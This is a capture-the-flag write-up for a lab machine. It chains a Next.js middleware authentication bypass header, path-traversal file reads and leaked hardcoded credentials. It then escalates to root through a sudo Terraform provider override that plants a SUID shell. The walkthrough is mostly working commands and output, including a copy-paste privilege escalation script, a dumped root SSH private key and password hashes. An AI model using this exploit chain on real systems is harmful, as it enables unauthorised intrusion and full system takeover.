Enum
- Initial scans reveal SSH and HTTP
$ export IP=10.129.217.231
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
Open 10.129.217.231:22
Open 10.129.217.231:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel- Add to
/etc/hosts
$ echo "$IP previous.htb" | sudo tee -a /etc/hosts- Main webpage - http://previous.htb

- We have a user contact -
jeremy@previous.htb - No registration page to create account
- Need creds or bypass to access anything further
- Mentions opt-out of middleware, so middleware is present
- Docs reveals API endpoints redirect http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
- What exactly are we dealing with?
$ curl "http://previous.htb/"
<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/><title data-next-head="">PreviousJS</title><link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style"/><link rel="stylesheet" href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js"></script><script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer=""></script><script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" defer=""></script><script src="/_next/static/chunks/main-0221d9991a31a63c.js" defer=""></script><script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" defer=""></script><script src="/_next/static/chunks/pages/index-a09f42904785092c.js" defer=""></script><script src="/_next/static/qVDR2cKpRgqCslEh-llk9/_buildManifest.js" defer=""></script><script src="/_next/static/qVDR2cKpRgqCslEh-llk9/_ssgManifest.js" defer=""></script></head><body><div id="__next">
*snip*- Appears PreviousJS is using Next.js, funny it also reps anti-features
- “Next.js bypass” Google search CVE-2025-29927
- Add
x-middleware-subrequest: middleware:middleware:middleware:middleware:middlewareto requests - Lets test against /Docs since we get prompted to sign in
$ curl -s -I "http://previous.htb/docs"
HTTP/1.1 307 Temporary Redirect
$ curl -s -I "http://previous.htb/docs" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK- Bypass is working as we can see 200 OK
- Can verify with browser (burp or js in console)
fetch("http://previous.htb/docs", {
method: "GET",
headers: {
"X-Middleware-Subrequest": "middleware:middleware:middleware:middleware:middleware",
},
})
.then((response) => response.text())
.then((html) => {
const newWindow = window.open("", "_blank")
newWindow.document.write(html)
newWindow.document.close()
})
- Logged in as ???
- So we know bypass works
- Need more enumeration to actually do anything however
- Let’s try to run
gobusterwith bypass to see if we can find anything new
$ gobuster dir -u http://previous.htb/api -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 100 -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previous.htb/api
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 400) [Size: 28]- A download parameter is good place to check for LFI but we do not know expected format
- We can make one up and see what we get
$ curl -s "http://previous.htb/api/download?ASDF=test" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
{"error":"Invalid filename"}- So we know what happens for incorrect parameter
- Lets FUZZ with
ffufand see if we can find any alternative responses by filtering outInvalid filename
$ ffuf -t 40 -u "http://previous.htb/api/download?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" -fr "Invalid filename" -mc all
/`___\ /`___\ /`___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?FUZZ=test
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Header : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Regexp: Invalid filename
________________________________________________
example [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 234ms]
:: Progress: [6453/6453] :: Job [1/1] :: 355 req/sec :: Duration: [0:00:26] :: Errors: 0 ::/download?example=testreturned a different result so lets check it out
$ curl -s "http://previous.htb/api/download?example=test" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
{"error":"File not found"}- Interesting, we must have successfully found our parameter as it accepts our request but not the file we specified
- Let’s try to test LFI on this endpoint, working backwards to go forwards seems to be the theme of this machine.
$ ffuf -t 40 -u "http://previous.htb/api/download?example=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" -mc 200
/`___\ /`___\ /`___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?example=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt
:: Header : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 103ms]
../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 111ms]
../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 122ms]
../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 127ms]
../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 123ms]
../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 106ms]
../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 120ms]
../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 120ms]
../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 119ms]
../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 122ms]
../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 123ms]
../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 123ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 136ms]
../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 146ms]
../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 147ms]
../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 127ms]
../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 150ms]
../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 136ms]
../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 153ms]
../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 137ms]
../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 137ms]
../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 139ms]
../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 140ms]
../../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 139ms]
../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 145ms]
../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 147ms]
../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 148ms]
../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 147ms]
../../../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 116ms]
../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 113ms]
../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 114ms]
../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 111ms]
../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 113ms]
../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 111ms]
../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 114ms]
../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 119ms]
../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 109ms]
../../../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 108ms]
../../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 110ms]
../../../../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 110ms]
../../../../../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 110ms]
:: Progress: [569/569] :: Job [1/1] :: 333 req/sec :: Duration: [0:00:01] :: Errors: 0 ::User
- Seems to be vulnerable to LFI as we see 200 OK
- Let us check some of these to verify
$ curl -s "http://previous.htb/api/download?example=../../../etc/passwd" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
$ curl -s "http://previous.htb/api/download?example=../../../proc/self/environ" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" | tr '\0' '\n'
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production- Successful LFI but appears we are in a docker container with
/appas root directory - We should look for important next.js files, since there is predictable structure we can look for
.next/server/pages-manifest.json
$ curl -s "http://previous.htb/api/download?example=../../../app/.next/server/pages-manifest.json" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
{
"/_app": "pages/_app.js",
"/_error": "pages/_error.js",
"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
"/api/download": "pages/api/download.js",
"/docs/[section]": "pages/docs/[section].html",
"/docs/components/layout": "pages/docs/components/layout.html",
"/docs/components/sidebar": "pages/docs/components/sidebar.html",
"/docs/content/examples": "pages/docs/content/examples.html",
"/docs/content/getting-started": "pages/docs/content/getting-started.html",
"/docs": "pages/docs.html",
"/": "pages/index.html",
"/signin": "pages/signin.html",
"/_document": "pages/_document.js",
"/404": "pages/404.html"
}pages/api/auth/[...nextauth].js- This is a very important file that handles all authentication so lets see what is inside
- Need to URL encode the brackets
[]forcurlusage
$ curl -s 'http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' \
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
| npx prettier --parser babel
"use strict";
(() => {
var e = {};
((e.id = 651),
(e.ids = [651]),
(e.modules = {
3480: (e, n, r) => {
e.exports = r(5600);
},
5600: (e) => {
e.exports = require("next/dist/compiled/next-server/pages-api.runtime.prod.js");
},
6435: (e, n) => {
Object.defineProperty(n, "M", {
enumerable: !0,
get: function () {
return function e(n, r) {
return r in n
? n[r]
: "then" in n && "function" == typeof n.then
? n.then((n) => e(n, r))
: "function" == typeof n && "default" === r
? n
: void 0;
};
},
});
},
8667: (e, n) => {
Object.defineProperty(n, "A", {
enumerable: !0,
get: function () {
return r;
},
});
var r = (function (e) {
return (
(e.PAGES = "PAGES"),
(e.PAGES_API = "PAGES_API"),
(e.APP_PAGE = "APP_PAGE"),
(e.APP_ROUTE = "APP_ROUTE"),
(e.IMAGE = "IMAGE"),
e
);
})({});
},
9832: (e, n, r) => {
(r.r(n),
r.d(n, { config: () => l, default: () => P, routeModule: () => A }));
var t = {};
(r.r(t), r.d(t, { default: () => p }));
var a = r(3480),
s = r(8667),
i = r(6435);
let u = require("next-auth/providers/credentials"),
o = {
session: { strategy: "jwt" },
providers: [
r.n(u)()({
name: "Credentials",
credentials: {
username: { label: "User", type: "username" },
password: { label: "Password", type: "password" },
},
authorize: async (e) =>
e?.username === "jeremy" &&
e.password ===
(process.env.ADMIN_SECRET ??
"MyNameIsJeremyAndILovePancakes")
? { id: "1", name: "Jeremy" }
: null,
}),
],
pages: { signIn: "/signin" },
secret: process.env.NEXTAUTH_SECRET,
},
d = require("next-auth"),
p = r.n(d)()(o),
P = (0, i.M)(t, "default"),
l = (0, i.M)(t, "config"),
A = new a.PagesAPIRouteModule({
definition: {
kind: s.A.PAGES_API,
page: "/api/auth/[...nextauth]",
pathname: "/api/auth/[...nextauth]",
bundlePath: "",
filename: "",
},
userland: t,
});
},
}));
var n = require("../../../webpack-api-runtime.js");
n.C(e);
var r = n((n.s = 9832));
module.exports = r;
})();User Creds
jeremy@previous.htb
MyNameIsJeremyAndILovePancakes
- SSH as jeremy for flag
$ sshpass -p 'MyNameIsJeremyAndILovePancakes' ssh jeremy@previous.htbRoot
jeremy@previous:~$ ls -la
total 40
drwxr-x--- 5 jeremy jeremy 4096 Aug 23 20:49 .
drwxr-xr-x 3 root root 4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy 807 Aug 21 17:28 .profile
drwxr-xr-x 2 root root 4096 Aug 23 20:49 .terraform.d
-rw-rw-r-- 1 jeremy jeremy 156 Aug 23 21:24 .terraformrc
-rw-r----- 1 root jeremy 33 Aug 23 20:47 user.txt
jeremy@previous:~$ sudo -l
[sudo] password for jeremy: MyNameIsJeremyAndILovePancakes
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply- !env_reset Environment variables are NOT reset when using sudo (normally they would be cleared for security)
- This means we can access Jeremy’s config files while executing as root
- We have some examples in
/opt/examples
jeremy@previous:~$ ls -la /opt/examples
total 28
drwxr-xr-x 3 root root 4096 Aug 24 03:31 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root 18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root 576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root 247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Aug 24 03:31 terraform.tfstate- Lets examine the
main.tf
jeremy@previous:~$ cat /opt/examples/main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}- Terraform requires a provider:
previous.htb/terraform/examples - Hardcoded to load a binary named
terraform-provider-examples - Let us check what that
.terraformrcfile contained
jeremy@previous:~$ cat .terraformrc
provider_installation
{
dev_overrides
{
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}Root Privesc
.terraformrcpoints to/usr/local/go/bincurrently and we have privs to edit.This path is where it will look for binary
terraform-provider-examplesCan run with sudo rights and also preserves Jeremy’s env
- So lets create a malicious Terraform provider in a path we control with our payload (I chose SUID shell but can read root.txt or whatever cmd you want)
# create path we control
jeremy@previous:~$ mkdir -p /tmp/malicious_provider
# create malicious version of terraform-provider-examples
jeremy@previous:~$ cat > /tmp/malicious_provider/terraform-provider-examples << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod 4755 /tmp/rootshell
exit 0
EOF
# make it executable
jeremy@previous:~$ chmod +x /tmp/malicious_provider/terraform-provider-examples- Configure Terraform to use malicious provider by editing
.terraformrc
jeremy@previous:~$ cat > ~/.terraformrc << 'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp/malicious_provider"
}
direct {}
}
EOF- Trigger the exploit via sudo cmd
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
[sudo] password for jeremy:
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /tmp/malicious_provider
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become
│ incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider
│ previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized
│ remote plugin message:
│ Failed to read any lines from plugin`s stdout
│ This usually means
│ the plugin was not compiled for this architecture,
│ the plugin is missing dynamic-link libraries necessary to run,
│ the plugin is not executable by this process due to file permissions, or
│ the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│ Path: /tmp/malicious_provider/terraform-provider-examples
│ Mode: -rwxrwxr-x
│ Owner: 1000 [jeremy] (current: 0 [root])
│ Group: 1000 [jeremy] (current: 0 [root])
│- Even though there are errors we see it executed and we just need to spawn root shell
jeremy@previous:~$ /tmp/rootshell -p
rootshell-5.1$ id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)
rootshell-5.1$ ls /root
clean examples go root.txt- AIO copypasta
mkdir -p /tmp/malicious_provider
cat > /tmp/malicious_provider/terraform-provider-examples << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod 4755 /tmp/rootshell
exit 0
EOF
chmod +x /tmp/malicious_provider/terraform-provider-examples
cat > ~/.terraformrc << 'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp/malicious_provider"
}
direct {}
}
EOF
sudo /usr/bin/terraform -chdir=/opt/examples apply
/tmp/rootshell -p- SSH is available if you want to reconnect later as root
rootshell-5.1$ cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY------ On local machine
$ nano root
(paste ssh)
$ chmod 600 root
$ ssh -i root root@previous.htb
root@previous:~$ ls
clean examples go root.txtroot:$y$j9T$8eJygIdCzBjq.MydZo1XO0$2l7w4GXSdYpIEuvzgPad7Tm2YK6/7L.mTU.CiLfaPf8:20321:0:99999:7:::
jeremy:$y$j9T$.12cctgaWMDR8r3JYiB5q0$xAiP7hRx8A8br/fd2HPW8Ctu8XumwSCAsH4v9XUxdb4:20321:0:99999:7:::